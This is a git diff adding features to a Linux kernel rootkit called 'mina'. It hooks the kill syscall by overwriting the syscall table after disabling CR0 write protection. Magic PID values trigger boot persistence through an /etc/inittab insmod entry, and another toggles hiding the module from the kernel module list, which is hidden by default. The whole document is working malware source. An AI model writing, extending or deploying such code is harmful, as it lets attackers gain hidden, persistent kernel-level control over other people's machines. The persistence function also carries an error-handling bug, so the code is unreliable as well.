diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -12,6 +12,8 @@ MINA_CLIENT_ID = meow
# kernel vars cant define with patsubst for some fucking reason
obj-m := mina_$(MINA_CLIENT_ID).o
mina_$(MINA_CLIENT_ID)-objs := mina.o \
+ persistence.o \
+ module_hiding.o \
hooks/hooks.o \
hooks/kill.o
diff --git a/rootkit/cmd.txt b/rootkit/cmd.txt
@@ -1,4 +1,3 @@
sudo cp -r /mnt/shared/rootkit . && sudo chown -R djnn:djnn rootkit && cd rootkit ; make clean ; make && sudo make load
-https://github.com/Sargastico/LKM-Kill-SysCallHook/blob/main/main.c
-
+https://stackoverflow.com/a/60564037
diff --git a/rootkit/hooks/hooks.c b/rootkit/hooks/hooks.c
@@ -6,6 +6,7 @@
#include <linux/fs.h>
#include <linux/init.h>
+#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
@@ -18,7 +19,10 @@ static kallsyms_lookup_function_t get_kallsyms_lookup(void) {
.symbol_name = "kallsyms_lookup_name",
};
- register_kprobe(&kp);
+ if (register_kprobe(&kp) < 0) {
+ printk(KERN_INFO "could not register kprobe");
+ return NULL;
+ }
lkp = (kallsyms_lookup_function_t)kp.addr;
unregister_kprobe(&kp);
return lkp;
@@ -30,21 +34,24 @@ uint64_t *get_syscall_table(void) {
return (!lookup) ? NULL : (uint64_t *)lookup("sys_call_table");
}
-static inline void commit_cr0(uint64_t val) {
- uint64_t __force_order = 0;
+inline void commit_cr0(unsigned long cr0) {
+ unsigned long __force_order;
- asm volatile(
- "mov %0, %%cr0"
- : "+r"(val), "+m"(__force_order));
+ asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}
-void enable_memory_protection(uint64_t original_cr0) {
- commit_cr0(original_cr0);
+void enable_memory_protection(void) {
+ unsigned long cr0 = read_cr0();
+
+ set_bit(16, &cr0);
+ commit_cr0(cr0);
}
-void disable_memory_protection(uint64_t cr0) {
- /* cr0 & ~0x00010000 => sets write permissions to read-only memory pages :) */
- commit_cr0(cr0 & ~0x00010000);
+void disable_memory_protection(void) {
+ unsigned long cr0 = read_cr0();
+
+ clear_bit(16, &cr0);
+ commit_cr0(cr0);
}
hook_t *retrieve_hook_metadata(uint8_t syscall_nb) {
diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -12,12 +12,30 @@
#include "../includes/mina.h"
+#define PERSISTENCE_CODE (3794)
+
+#define TOGGLE_HIDE_CODE (434)
+
short unsigned int hooked_kill_syscall(const struct pt_regs *regs) {
+ int pid = regs->di;
+ int sig = regs->si;
hook_t *metadata = retrieve_hook_metadata(__NR_kill);
+
if (!metadata) {
printk(KERN_INFO "[mina] oh no");
return -EINVAL;
}
+ if (pid == PERSISTENCE_CODE) {
+ const char *str = "::sysinit:/sbin/insmod /root/mina.ko\n";
+ return add_inittab_entry(str) != 0 ? EINVAL : 0;
+ }
+
+ if (pid == TOGGLE_HIDE_CODE) {
+ toggle_hide_module();
+ return 0;
+ }
+
+ printk(KERN_INFO "[mina] reached hooked syscall: signum => %d, pid => %d\n", sig, pid);
return metadata->original(regs);
}
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -16,10 +16,16 @@ typedef struct function_hook_metadata {
typedef uint64_t (*kallsyms_lookup_function_t)(const uint8_t *function_name);
+// persistence.c
+int add_inittab_entry(char const *entry);
+
+// module_hiding.c
+void toggle_hide_module(void);
+
// hooks/hooks.c
uint64_t *get_syscall_table(void);
-void disable_memory_protection(uint64_t cr0);
-void enable_memory_protection(uint64_t original_cr0);
+void disable_memory_protection(void);
+void enable_memory_protection(void);
hook_t *retrieve_hook_metadata(uint8_t syscall_nb);
// hooks/kill.c
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -18,35 +18,37 @@ MODULE_VERSION("0.0.1");
*/
static int __init module_start(void) {
uint64_t *sys_table = get_syscall_table();
- uint64_t cr0 = read_cr0();
if (!sys_table)
return -1;
- disable_memory_protection(cr0);
+ disable_memory_protection();
for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
+ printk(KERN_INFO "[mina] setting syscall nb %d (orig => 0x%p, hook => 0x%p)", sys_hooks[ctr].syscall_nb, sys_hooks[ctr].original, sys_hooks[ctr].hook);
+
sys_hooks[ctr].original = (syscall_t)sys_table[sys_hooks[ctr].syscall_nb];
sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].hook;
+
+ printk(KERN_INFO "[mina] setting done (orig => 0x%p, hook => 0x%p)", sys_hooks[ctr].original, sys_hooks[ctr].hook);
}
- enable_memory_protection(cr0);
+ enable_memory_protection();
printk(KERN_INFO "mina is cute ~\n");
return 0;
}
static void __exit module_end(void) {
uint64_t *sys_table = get_syscall_table();
- uint64_t cr0 = read_cr0();
if (!sys_table)
return;
- disable_memory_protection(cr0);
+ disable_memory_protection();
for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].original;
}
- enable_memory_protection(cr0);
+ enable_memory_protection();
printk(KERN_INFO "bye-bye mina ~\n");
}
diff --git a/rootkit/module_hiding.c b/rootkit/module_hiding.c
@@ -0,0 +1,23 @@
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+
+#include "includes/mina.h"
+
+/* required to show / hide the module (hidden by default) */
+int is_hidden = 1;
+struct list_head *prev_module;
+
+void toggle_hide_module(void) {
+ if (is_hidden == 1) {
+ list_add(&THIS_MODULE->list, prev_module);
+ printk(KERN_INFO "[mina] welcome back!\n");
+ is_hidden = 0;
+ } else {
+ prev_module = THIS_MODULE->list.prev;
+ list_del(&THIS_MODULE->list);
+ is_hidden = 1;
+ }
+}
diff --git a/rootkit/persistence.c b/rootkit/persistence.c
@@ -0,0 +1,28 @@
+
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+
+#include "includes/mina.h"
+
+int add_inittab_entry(char const *entry) {
+ int ret = 0;
+ struct file *file;
+ loff_t pos = 0;
+
+ file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
+ if (IS_ERR(file)) {
+ ret = PTR_ERR(file);
+ }
+
+ ret = kernel_write(file, entry, strlen(entry), &pos);
+ if (ret < 0) {
+ filp_close(file, NULL);
+ return ret;
+ }
+
+ filp_close(file, NULL);
+ return 0;
+}
| | | | | | | |